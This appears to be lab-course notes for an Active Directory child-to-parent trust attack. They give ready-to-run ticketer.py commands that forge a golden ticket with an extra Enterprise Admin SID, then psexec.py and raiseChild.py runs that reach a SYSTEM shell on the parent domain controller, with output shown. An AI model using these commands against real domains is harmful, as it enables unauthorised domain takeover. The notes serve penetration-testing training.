✅ Step 4: Create Golden Ticket with ticketer.py


bash

ticketer.py -nthash 9d765b482771505cbe97411065964d5f \

-domain LOGISTICS.INLANEFREIGHT.LOCAL \

-domain-sid S-1-5-21-2806153819-209893948-922872689 \

-extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 \

hacker

🔍 Explanation:

  • nthash: NTLM of krbtgt (child)

  • extra-sid: parent domain EA SID = SIDHistory field

  • hacker: username (can be nonexistent)

  • Output: hacker.ccache


✅ Step 5: Set the Environment Variable


export KRB5CCNAME=hacker.ccache

✅ Now, your system uses the forged Kerberos ticket.


✅ Step 6: Use psexec.py to Get SYSTEM Shell on Parent DC


bash

psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5

Microsoft Windows [Version 10.0.17763.107]

C:\Windows\system32> whoami

nt authority\system

🔍 Flags:

  • k: use kerberos

  • no-pass: no password needed (we’re using the forged ticket)

🤖 Automated Attack with raiseChild.py

🔁 What it Does:

Performs the entire attack chain:

  • Gets child krbtgt hash

  • Builds ticket with parent EA SID

  • Authenticates to parent DC

  • Extracts parent domain admin credentials

  • Launches psexec shell


🔧 Run Command:


bash

raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

[*] Raising LOGISTICS.INLANEFREIGHT.LOCAL to INLANEFREIGHT.LOCAL

[*] Enterprise Admin SID: S-1-5-21-3842939050-3880317879-2865463114-519

[*] Getting credentials for LOGISTICS krbtgt

[*] Getting credentials for INLANEFREIGHT krbtgt

[*] Opening PSEXEC shell at ACADEMY-EA-DC01

C:\Windows\system32> whoami

nt authority\system